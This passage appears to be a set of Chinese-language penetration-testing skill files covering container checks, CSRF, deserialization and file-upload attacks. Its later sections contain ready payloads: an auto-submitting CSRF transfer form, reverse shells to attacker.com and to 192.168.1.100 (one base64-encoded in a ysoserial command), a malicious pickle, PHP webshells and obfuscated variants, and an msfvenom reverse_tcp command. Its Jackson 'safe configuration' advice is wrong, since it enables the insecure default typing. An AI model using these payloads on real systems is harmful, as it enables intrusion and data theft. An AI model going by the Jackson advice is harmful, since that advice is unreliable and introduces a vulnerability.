容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
**检查项目:**
|
||||
- 基础镜像漏洞
|
||||
- 依赖包漏洞
|
||||
- 镜像配置
|
||||
- 敏感信息
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
**检查项目:**
|
||||
- 容器权限
|
||||
- 资源限制
|
||||
- 网络隔离
|
||||
- 文件系统
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
**检查项目:**
|
||||
- Kubernetes配置
|
||||
- 服务账户
|
||||
- RBAC
|
||||
- 网络策略
|
||||
|
||||
## Docker安全测试
|
||||
|
||||
### 镜像扫描
|
||||
|
||||
**使用Trivy:**
|
||||
```bash
|
||||
# 扫描镜像
|
||||
trivy image nginx:latest
|
||||
|
||||
# 扫描本地镜像
|
||||
trivy image --input nginx.tar
|
||||
|
||||
# 只显示高危漏洞
|
||||
trivy image --severity HIGH,CRITICAL nginx:latest
|
||||
```
|
||||
|
||||
**使用Clair:**
|
||||
```bash
|
||||
# 启动Clair
|
||||
docker run -d --name clair clair:latest
|
||||
|
||||
# 扫描镜像
|
||||
clair-scanner --ip 192.168.1.100 nginx:latest
|
||||
```
|
||||
|
||||
**使用Docker Bench:**
|
||||
```bash
|
||||
# 运行Docker安全基准测试
|
||||
docker run --rm --net host --pid host --userns host --cap-add audit_control \
|
||||
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
|
||||
-v /etc:/etc:ro \
|
||||
-v /usr/bin/containerd:/usr/bin/containerd:ro \
|
||||
-v /usr/bin/runc:/usr/bin/runc:ro \
|
||||
-v /usr/lib/systemd:/usr/lib/systemd:ro \
|
||||
-v /var/lib:/var/lib:ro \
|
||||
-v /var/run/docker.sock:/var/run/docker.sock:ro \
|
||||
--label docker_bench_security \
|
||||
docker/docker-bench-security
|
||||
```
|
||||
|
||||
### 容器配置检查
|
||||
|
||||
**检查Dockerfile:**
|
||||
```dockerfile
|
||||
# 安全问题示例
|
||||
FROM ubuntu:latest # 使用latest标签
|
||||
RUN apt-get update && apt-get install -y curl # 未指定版本
|
||||
COPY . /app # 可能包含敏感文件
|
||||
ENV PASSWORD=secret # 硬编码密码
|
||||
USER root # 使用root用户
|
||||
```
|
||||
|
||||
**安全最佳实践:**
|
||||
```dockerfile
|
||||
# 使用特定版本
|
||||
FROM ubuntu:20.04
|
||||
|
||||
# 指定包版本
|
||||
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
|
||||
|
||||
# 使用非root用户
|
||||
RUN useradd -m appuser
|
||||
USER appuser
|
||||
|
||||
# 最小化镜像
|
||||
FROM alpine:3.15
|
||||
|
||||
# 多阶段构建
|
||||
FROM golang:1.18 AS builder
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN go build -o app
|
||||
|
||||
FROM alpine:3.15
|
||||
COPY --from=builder /app/app /app
|
||||
```
|
||||
|
||||
### 运行时检查
|
||||
|
||||
**检查容器权限:**
|
||||
```bash
|
||||
# 检查特权容器
|
||||
docker ps --filter "label=privileged=true"
|
||||
|
||||
# 检查挂载的主机目录
|
||||
docker inspect container_name | grep -A 10 Mounts
|
||||
|
||||
# 检查容器网络
|
||||
docker network inspect network_name
|
||||
```
|
||||
|
||||
**检查资源限制:**
|
||||
```bash
|
||||
# 检查内存限制
|
||||
docker stats container_name
|
||||
|
||||
# 检查CPU限制
|
||||
docker inspect container_name | grep -i cpu
|
||||
```
|
||||
|
||||
## Kubernetes安全测试
|
||||
|
||||
### 配置检查
|
||||
|
||||
**使用kube-bench:**
|
||||
```bash
|
||||
# 运行kube-bench
|
||||
kube-bench run
|
||||
|
||||
# 检查特定基准
|
||||
kube-bench run --targets master,node,etcd
|
||||
```
|
||||
|
||||
**使用kube-hunter:**
|
||||
```bash
|
||||
# 运行kube-hunter
|
||||
kube-hunter --remote target-ip
|
||||
|
||||
# 主动模式
|
||||
kube-hunter --active
|
||||
```
|
||||
|
||||
### Pod安全
|
||||
|
||||
**检查Pod安全策略:**
|
||||
```yaml
|
||||
# 不安全的Pod配置
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
privileged: true # 特权模式
|
||||
runAsUser: 0 # root用户
|
||||
```
|
||||
|
||||
**安全配置:**
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 1000
|
||||
fsGroup: 2000
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities:
|
||||
drop:
|
||||
- ALL
|
||||
add:
|
||||
- NET_BIND_SERVICE
|
||||
```
|
||||
|
||||
### RBAC检查
|
||||
|
||||
**检查角色权限:**
|
||||
```bash
|
||||
# 列出所有角色
|
||||
kubectl get roles --all-namespaces
|
||||
|
||||
# 检查角色绑定
|
||||
kubectl get rolebindings --all-namespaces
|
||||
|
||||
# 检查集群角色
|
||||
kubectl get clusterroles
|
||||
|
||||
# 检查用户权限
|
||||
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的角色
|
||||
- 未使用的服务账户
|
||||
|
||||
### 网络策略
|
||||
|
||||
**检查网络策略:**
|
||||
```bash
|
||||
# 列出所有网络策略
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
|
||||
# 检查网络策略配置
|
||||
kubectl describe networkpolicy policy-name -n namespace
|
||||
```
|
||||
|
||||
**网络策略示例:**
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: default-deny
|
||||
spec:
|
||||
podSelector: {}
|
||||
policyTypes:
|
||||
- Ingress
|
||||
- Egress
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Falco
|
||||
|
||||
**运行时安全监控:**
|
||||
```bash
|
||||
# 安装Falco
|
||||
helm repo add falcosecurity https://falcosecurity.github.io/charts
|
||||
helm install falco falcosecurity/falco
|
||||
|
||||
# 检查规则
|
||||
falco -r /etc/falco/rules.d/
|
||||
```
|
||||
|
||||
### Aqua Security
|
||||
|
||||
```bash
|
||||
# 扫描镜像
|
||||
aqua image scan nginx:latest
|
||||
|
||||
# 扫描Kubernetes集群
|
||||
aqua k8s scan
|
||||
```
|
||||
|
||||
### Snyk
|
||||
|
||||
```bash
|
||||
# 扫描Dockerfile
|
||||
snyk test --docker nginx:latest
|
||||
|
||||
# 扫描Kubernetes配置
|
||||
snyk iac test k8s/
|
||||
```
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 镜像安全
|
||||
- [ ] 扫描基础镜像漏洞
|
||||
- [ ] 扫描依赖包漏洞
|
||||
- [ ] 检查Dockerfile配置
|
||||
- [ ] 检查敏感信息泄露
|
||||
|
||||
### 运行时安全
|
||||
- [ ] 检查容器权限
|
||||
- [ ] 检查资源限制
|
||||
- [ ] 检查网络隔离
|
||||
- [ ] 检查文件系统挂载
|
||||
|
||||
### 编排安全
|
||||
- [ ] 检查Kubernetes配置
|
||||
- [ ] 检查RBAC配置
|
||||
- [ ] 检查网络策略
|
||||
- [ ] 检查Pod安全策略
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 镜像漏洞
|
||||
|
||||
**问题:**
|
||||
- 基础镜像包含漏洞
|
||||
- 依赖包包含漏洞
|
||||
- 未及时更新
|
||||
|
||||
**修复:**
|
||||
- 定期扫描镜像
|
||||
- 及时更新基础镜像
|
||||
- 使用最小化镜像
|
||||
|
||||
### 2. 过度权限
|
||||
|
||||
**问题:**
|
||||
- 容器以root运行
|
||||
- 特权模式
|
||||
- 挂载敏感目录
|
||||
|
||||
**修复:**
|
||||
- 使用非root用户
|
||||
- 禁用特权模式
|
||||
- 限制文件系统访问
|
||||
|
||||
### 3. 配置错误
|
||||
|
||||
**问题:**
|
||||
- 默认配置不安全
|
||||
- 网络策略缺失
|
||||
- RBAC配置错误
|
||||
|
||||
**修复:**
|
||||
- 遵循安全最佳实践
|
||||
- 实施网络策略
|
||||
- 正确配置RBAC
|
||||
|
||||
### 4. 敏感信息泄露
|
||||
|
||||
**问题:**
|
||||
- 镜像包含密钥
|
||||
- 环境变量暴露
|
||||
- 配置文件泄露
|
||||
|
||||
**修复:**
|
||||
- 使用密钥管理
|
||||
- 避免硬编码
|
||||
- 使用Secret对象
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
- 使用官方基础镜像
|
||||
- 定期更新镜像
|
||||
- 扫描镜像漏洞
|
||||
- 最小化镜像大小
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
- 使用非root用户
|
||||
- 限制容器权限
|
||||
- 实施资源限制
|
||||
- 启用安全上下文
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
- 配置网络策略
|
||||
- 实施RBAC
|
||||
- 使用Pod安全策略
|
||||
- 启用审计日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同容器平台的差异
|
||||
- 定期进行安全扫描
|
||||
@@ -0,0 +1,199 @@
|
||||
---
|
||||
name: csrf-testing
|
||||
description: CSRF跨站请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# CSRF跨站请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
- 攻击者诱导用户访问恶意页面
|
||||
- 恶意页面自动发送请求到目标网站
|
||||
- 浏览器自动携带用户的认证信息(Cookie、Session)
|
||||
- 目标网站误认为是用户合法操作
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别敏感操作
|
||||
|
||||
- 密码修改
|
||||
- 邮箱修改
|
||||
- 转账操作
|
||||
- 权限变更
|
||||
- 数据删除
|
||||
- 状态更新
|
||||
|
||||
### 2. 检测CSRF Token
|
||||
|
||||
**检查是否有Token保护:**
|
||||
```html
|
||||
<!-- 有Token保护 -->
|
||||
<form method="POST" action="/change-password">
|
||||
<input type="hidden" name="csrf_token" value="abc123">
|
||||
<input type="password" name="new_password">
|
||||
</form>
|
||||
|
||||
<!-- 无Token保护 - 存在CSRF风险 -->
|
||||
<form method="POST" action="/change-email">
|
||||
<input type="email" name="new_email">
|
||||
</form>
|
||||
```
|
||||
|
||||
### 3. 验证Token有效性
|
||||
|
||||
**测试Token是否可预测:**
|
||||
- Token是否基于时间戳
|
||||
- Token是否基于用户ID
|
||||
- Token是否可重复使用
|
||||
- Token是否在多个请求间共享
|
||||
|
||||
### 4. 检查Referer验证
|
||||
|
||||
**测试Referer检查是否可绕过:**
|
||||
```javascript
|
||||
// 正常请求
|
||||
Referer: https://target.com/change-password
|
||||
|
||||
// 测试绕过
|
||||
Referer: https://target.com.evil.com
|
||||
Referer: https://evil.com/?target.com
|
||||
Referer: (空)
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础CSRF攻击
|
||||
|
||||
**HTML表单自动提交:**
|
||||
```html
|
||||
<form action="https://target.com/api/transfer" method="POST" id="csrf">
|
||||
<input type="hidden" name="to" value="attacker_account">
|
||||
<input type="hidden" name="amount" value="10000">
|
||||
</form>
|
||||
<script>document.getElementById('csrf').submit();</script>
|
||||
```
|
||||
|
||||
### JSON CSRF
|
||||
|
||||
**绕过Content-Type检查:**
|
||||
```html
|
||||
<!-- 使用form表单提交JSON -->
|
||||
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
|
||||
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
|
||||
</form>
|
||||
<script>document.forms[0].submit();</script>
|
||||
```
|
||||
|
||||
### GET请求CSRF
|
||||
|
||||
**利用GET请求进行攻击:**
|
||||
```html
|
||||
<img src="https://target.com/api/delete?id=123">
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### Token绕过
|
||||
|
||||
**如果Token在Cookie中:**
|
||||
```javascript
|
||||
// 如果Token同时存在于Cookie和表单中
|
||||
// 可以尝试只提交Cookie中的Token
|
||||
fetch('https://target.com/api/action', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
body: 'action=delete&id=123'
|
||||
// 不包含csrf_token参数,依赖Cookie
|
||||
});
|
||||
```
|
||||
|
||||
### SameSite Cookie绕过
|
||||
|
||||
**利用子域名:**
|
||||
- 如果SameSite=Lax,GET请求仍可携带Cookie
|
||||
- 利用子域名进行攻击
|
||||
|
||||
### 双重提交Cookie
|
||||
|
||||
**绕过Token验证:**
|
||||
```html
|
||||
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
|
||||
<form action="https://target.com/api/action" method="POST">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
<script>
|
||||
// 从Cookie中读取Token
|
||||
document.cookie.split(';').forEach(c => {
|
||||
if(c.trim().startsWith('csrf_token=')) {
|
||||
document.querySelector('input[name="csrf_token"]').value =
|
||||
c.split('=')[1];
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</form>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用CSRF PoC生成器:**
|
||||
1. 拦截目标请求
|
||||
2. 右键 → Engagement tools → Generate CSRF PoC
|
||||
3. 测试生成的PoC
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# 使用ZAP进行CSRF扫描
|
||||
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认目标操作没有CSRF Token保护
|
||||
2. 构造恶意请求并验证可执行
|
||||
3. 评估影响(数据泄露、权限提升、资金损失等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和受影响的操作
|
||||
- 攻击场景和影响范围
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **CSRF Token**
|
||||
- 每个表单包含唯一Token
|
||||
- Token存储在Session中
|
||||
- 验证Token有效性
|
||||
|
||||
2. **SameSite Cookie**
|
||||
```javascript
|
||||
Set-Cookie: session=abc123; SameSite=Strict; Secure
|
||||
```
|
||||
|
||||
3. **双重提交Cookie**
|
||||
- Token同时存在于Cookie和表单
|
||||
- 验证两者是否匹配
|
||||
|
||||
4. **Referer验证**
|
||||
- 验证Referer是否为同源
|
||||
- 注意空Referer的处理
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对用户账户造成实际影响
|
||||
- 记录所有测试步骤
|
||||
- 考虑不同浏览器的行为差异
|
||||
@@ -0,0 +1,310 @@
|
||||
---
|
||||
name: deserialization-testing
|
||||
description: 反序列化漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 反序列化漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
|
||||
|
||||
## 常见格式
|
||||
|
||||
### Java
|
||||
|
||||
**常见库:**
|
||||
- Java原生序列化
|
||||
- Jackson
|
||||
- Fastjson
|
||||
- XStream
|
||||
- Apache Commons Collections
|
||||
|
||||
### PHP
|
||||
|
||||
**常见函数:**
|
||||
- unserialize()
|
||||
- json_decode()
|
||||
|
||||
### Python
|
||||
|
||||
**常见模块:**
|
||||
- pickle
|
||||
- yaml
|
||||
- json
|
||||
|
||||
### .NET
|
||||
|
||||
**常见类:**
|
||||
- BinaryFormatter
|
||||
- SoapFormatter
|
||||
- DataContractSerializer
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别序列化数据
|
||||
|
||||
**Java序列化特征:**
|
||||
```
|
||||
AC ED 00 05 (十六进制)
|
||||
rO0 (Base64)
|
||||
```
|
||||
|
||||
**PHP序列化特征:**
|
||||
```
|
||||
O:8:"stdClass"
|
||||
a:2:{s:4:"test";s:4:"data";}
|
||||
```
|
||||
|
||||
**Python pickle特征:**
|
||||
```
|
||||
\x80\x03
|
||||
```
|
||||
|
||||
### 2. 检测反序列化点
|
||||
|
||||
**常见位置:**
|
||||
- Cookie值
|
||||
- Session数据
|
||||
- API参数
|
||||
- 文件上传
|
||||
- 缓存数据
|
||||
- 消息队列
|
||||
|
||||
### 3. Java反序列化
|
||||
|
||||
**Apache Commons Collections利用:**
|
||||
```java
|
||||
// 使用ysoserial生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
```
|
||||
|
||||
**常见Gadget链:**
|
||||
- CommonsCollections1-7
|
||||
- Spring1-2
|
||||
- ROME
|
||||
- Jdk7u21
|
||||
|
||||
### 4. PHP反序列化
|
||||
|
||||
**基础测试:**
|
||||
```php
|
||||
<?php
|
||||
class Test {
|
||||
public $cmd = "id";
|
||||
function __destruct() {
|
||||
system($this->cmd);
|
||||
}
|
||||
}
|
||||
echo serialize(new Test());
|
||||
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
|
||||
?>
|
||||
```
|
||||
|
||||
**魔术方法利用:**
|
||||
- __destruct()
|
||||
- __wakeup()
|
||||
- __toString()
|
||||
- __call()
|
||||
|
||||
### 5. Python pickle
|
||||
|
||||
**基础测试:**
|
||||
```python
|
||||
import pickle
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('id',))
|
||||
|
||||
pickle.dumps(RCE())
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### Java RCE
|
||||
|
||||
**使用ysoserial:**
|
||||
```bash
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
|
||||
|
||||
# Base64编码
|
||||
base64 -w 0 payload.bin
|
||||
```
|
||||
|
||||
**手动构造:**
|
||||
```java
|
||||
// 使用Gadget链构造恶意对象
|
||||
// 参考ysoserial源码
|
||||
```
|
||||
|
||||
### PHP RCE
|
||||
|
||||
**利用POP链:**
|
||||
```php
|
||||
<?php
|
||||
class A {
|
||||
public $b;
|
||||
function __destruct() {
|
||||
$this->b->test();
|
||||
}
|
||||
}
|
||||
|
||||
class B {
|
||||
public $c;
|
||||
function test() {
|
||||
call_user_func($this->c, "id");
|
||||
}
|
||||
}
|
||||
|
||||
$a = new A();
|
||||
$a->b = new B();
|
||||
$a->b->c = "system";
|
||||
echo serialize($a);
|
||||
?>
|
||||
```
|
||||
|
||||
### Python RCE
|
||||
|
||||
**Pickle RCE:**
|
||||
```python
|
||||
import pickle
|
||||
import base64
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
|
||||
|
||||
payload = pickle.dumps(RCE())
|
||||
print(base64.b64encode(payload))
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**Base64编码:**
|
||||
```
|
||||
原始: rO0ABXNy...
|
||||
编码: ck8wQUJYTnk...
|
||||
```
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
%72%4F%00%AB...
|
||||
```
|
||||
|
||||
### 过滤器绕过
|
||||
|
||||
**使用不同Gadget链:**
|
||||
- 如果CommonsCollections被过滤,尝试Spring
|
||||
- 如果某个版本被过滤,尝试其他版本
|
||||
|
||||
### 类名混淆
|
||||
|
||||
**使用反射:**
|
||||
```java
|
||||
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### ysoserial
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
java -jar ysoserial.jar
|
||||
|
||||
# 生成Payload
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
|
||||
|
||||
# 生成Base64
|
||||
java -jar ysoserial.jar CommonsCollections1 "command" | base64
|
||||
```
|
||||
|
||||
### PHPGGC
|
||||
|
||||
```bash
|
||||
# 列出可用Gadget
|
||||
./phpggc -l
|
||||
|
||||
# 生成Payload
|
||||
./phpggc Monolog/RCE1 system id
|
||||
|
||||
# 生成编码Payload
|
||||
./phpggc -b Monolog/RCE1 system id
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截包含序列化数据的请求
|
||||
2. 使用插件生成Payload
|
||||
3. 替换原始数据
|
||||
4. 观察响应
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制序列化数据
|
||||
2. 验证反序列化触发代码执行
|
||||
3. 评估影响(RCE、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和序列化数据格式
|
||||
- 使用的Gadget链或利用方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、使用安全序列化等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免反序列化不可信数据**
|
||||
- 使用JSON替代
|
||||
- 使用安全的序列化格式
|
||||
|
||||
2. **输入验证**
|
||||
```java
|
||||
// 白名单验证类名
|
||||
private static final Set<String> ALLOWED_CLASSES =
|
||||
Set.of("com.example.SafeClass");
|
||||
|
||||
private Object readObject(ObjectInputStream ois) {
|
||||
// 验证类名
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
3. **使用安全配置**
|
||||
```java
|
||||
// Jackson配置
|
||||
objectMapper.enableDefaultTyping();
|
||||
objectMapper.setVisibility(PropertyAccessor.FIELD,
|
||||
JsonAutoDetect.Visibility.ANY);
|
||||
```
|
||||
|
||||
4. **类加载器隔离**
|
||||
- 使用自定义ClassLoader
|
||||
- 限制可加载的类
|
||||
|
||||
5. **监控和日志**
|
||||
- 记录反序列化操作
|
||||
- 监控异常行为
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同版本库的Gadget链差异
|
||||
- 测试时注意Payload大小限制
|
||||
- 了解目标应用的依赖库版本
|
||||
@@ -0,0 +1,328 @@
|
||||
---
|
||||
name: file-upload-testing
|
||||
description: 文件上传漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 文件上传漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞类型
|
||||
|
||||
### 1. 未验证文件类型
|
||||
|
||||
**仅前端验证:**
|
||||
```javascript
|
||||
// 可被绕过
|
||||
if (!file.name.endsWith('.jpg')) {
|
||||
alert('只允许上传图片');
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 文件内容未验证
|
||||
|
||||
**仅检查扩展名:**
|
||||
```php
|
||||
// 危险代码
|
||||
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
|
||||
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 路径遍历
|
||||
|
||||
**未过滤文件名:**
|
||||
```
|
||||
filename: ../../../etc/passwd
|
||||
filename: ..\..\..\windows\system32\config\sam
|
||||
```
|
||||
|
||||
### 4. 文件名覆盖
|
||||
|
||||
**可预测的文件名:**
|
||||
```
|
||||
uploads/1.jpg
|
||||
uploads/2.jpg
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 基础检测
|
||||
|
||||
**测试各种文件类型:**
|
||||
- .php, .jsp, .asp, .aspx
|
||||
- .php3, .php4, .php5, .phtml
|
||||
- .jspx, .jspf
|
||||
- .htaccess, .htpasswd
|
||||
|
||||
**测试双扩展名:**
|
||||
```
|
||||
shell.php.jpg
|
||||
shell.jpg.php
|
||||
```
|
||||
|
||||
**测试大小写:**
|
||||
```
|
||||
shell.PHP
|
||||
shell.PhP
|
||||
```
|
||||
|
||||
### 2. 内容类型绕过
|
||||
|
||||
**修改Content-Type:**
|
||||
```
|
||||
Content-Type: image/jpeg
|
||||
# 但文件内容是PHP代码
|
||||
```
|
||||
|
||||
**Magic Bytes:**
|
||||
```php
|
||||
// 在PHP代码前添加图片头
|
||||
GIF89a<?php phpinfo(); ?>
|
||||
```
|
||||
|
||||
### 3. 解析漏洞
|
||||
|
||||
**Apache解析漏洞:**
|
||||
```
|
||||
shell.php.xxx # Apache可能解析为PHP
|
||||
```
|
||||
|
||||
**IIS解析漏洞:**
|
||||
```
|
||||
shell.asp;.jpg
|
||||
shell.asp:.jpg
|
||||
```
|
||||
|
||||
**Nginx解析漏洞:**
|
||||
```
|
||||
shell.jpg%00.php
|
||||
```
|
||||
|
||||
### 4. 竞争条件
|
||||
|
||||
**文件上传后立即访问:**
|
||||
```python
|
||||
# 上传.php文件,在上传完成但删除前访问
|
||||
import requests
|
||||
import threading
|
||||
|
||||
def upload():
|
||||
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
|
||||
requests.post('http://target.com/upload', files=files)
|
||||
|
||||
def access():
|
||||
time.sleep(0.1)
|
||||
requests.get('http://target.com/uploads/shell.php?cmd=id')
|
||||
|
||||
threading.Thread(target=upload).start()
|
||||
threading.Thread(target=access).start()
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### PHP WebShell
|
||||
|
||||
**基础WebShell:**
|
||||
```php
|
||||
<?php system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
**一句话木马:**
|
||||
```php
|
||||
<?php eval($_POST['a']); ?>
|
||||
```
|
||||
|
||||
**绕过过滤:**
|
||||
```php
|
||||
<?php
|
||||
$_GET['cmd']($_POST['a']);
|
||||
// 使用: ?cmd=system
|
||||
```
|
||||
|
||||
### .htaccess利用
|
||||
|
||||
**上传.htaccess:**
|
||||
```
|
||||
AddType application/x-httpd-php .jpg
|
||||
```
|
||||
|
||||
**然后上传shell.jpg(实际是PHP代码)**
|
||||
|
||||
### 图片马
|
||||
|
||||
**GIF图片马:**
|
||||
```php
|
||||
GIF89a
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
```
|
||||
|
||||
**PNG图片马:**
|
||||
```bash
|
||||
# 使用工具将PHP代码嵌入PNG
|
||||
python3 png2php.py shell.php shell.png
|
||||
```
|
||||
|
||||
### 文件包含配合
|
||||
|
||||
**如果存在文件包含漏洞:**
|
||||
```
|
||||
# 上传包含PHP代码的图片
|
||||
# 然后通过文件包含执行
|
||||
?file=uploads/shell.jpg
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 扩展名绕过
|
||||
|
||||
**双扩展名:**
|
||||
```
|
||||
shell.php.jpg
|
||||
shell.php;.jpg
|
||||
shell.php%00.jpg
|
||||
```
|
||||
|
||||
**大小写:**
|
||||
```
|
||||
shell.PHP
|
||||
shell.PhP
|
||||
```
|
||||
|
||||
**特殊字符:**
|
||||
```
|
||||
shell.php.
|
||||
shell.php
|
||||
shell.php%20
|
||||
```
|
||||
|
||||
### Content-Type绕过
|
||||
|
||||
**修改请求头:**
|
||||
```
|
||||
Content-Type: image/jpeg
|
||||
Content-Type: image/png
|
||||
Content-Type: image/gif
|
||||
```
|
||||
|
||||
### Magic Bytes绕过
|
||||
|
||||
**添加文件头:**
|
||||
```php
|
||||
// JPEG
|
||||
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
|
||||
|
||||
// GIF
|
||||
GIF89a<?php phpinfo(); ?>
|
||||
|
||||
// PNG
|
||||
\x89\x50\x4E\x47<?php phpinfo(); ?>
|
||||
```
|
||||
|
||||
### 代码混淆
|
||||
|
||||
**使用短标签:**
|
||||
```php
|
||||
<?= system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
**使用变量:**
|
||||
```php
|
||||
<?php
|
||||
$a='sys';
|
||||
$b='tem';
|
||||
$a.$b($_GET['cmd']);
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截文件上传请求
|
||||
2. 修改文件名和内容
|
||||
3. 测试各种绕过技术
|
||||
|
||||
### Upload Bypass
|
||||
|
||||
```bash
|
||||
# 使用各种技术测试文件上传
|
||||
python upload_bypass.py -u http://target.com/upload -f shell.php
|
||||
```
|
||||
|
||||
### WebShell生成
|
||||
|
||||
```bash
|
||||
# 生成各种WebShell
|
||||
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以上传恶意文件
|
||||
2. 验证文件可以执行
|
||||
3. 评估影响(命令执行、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
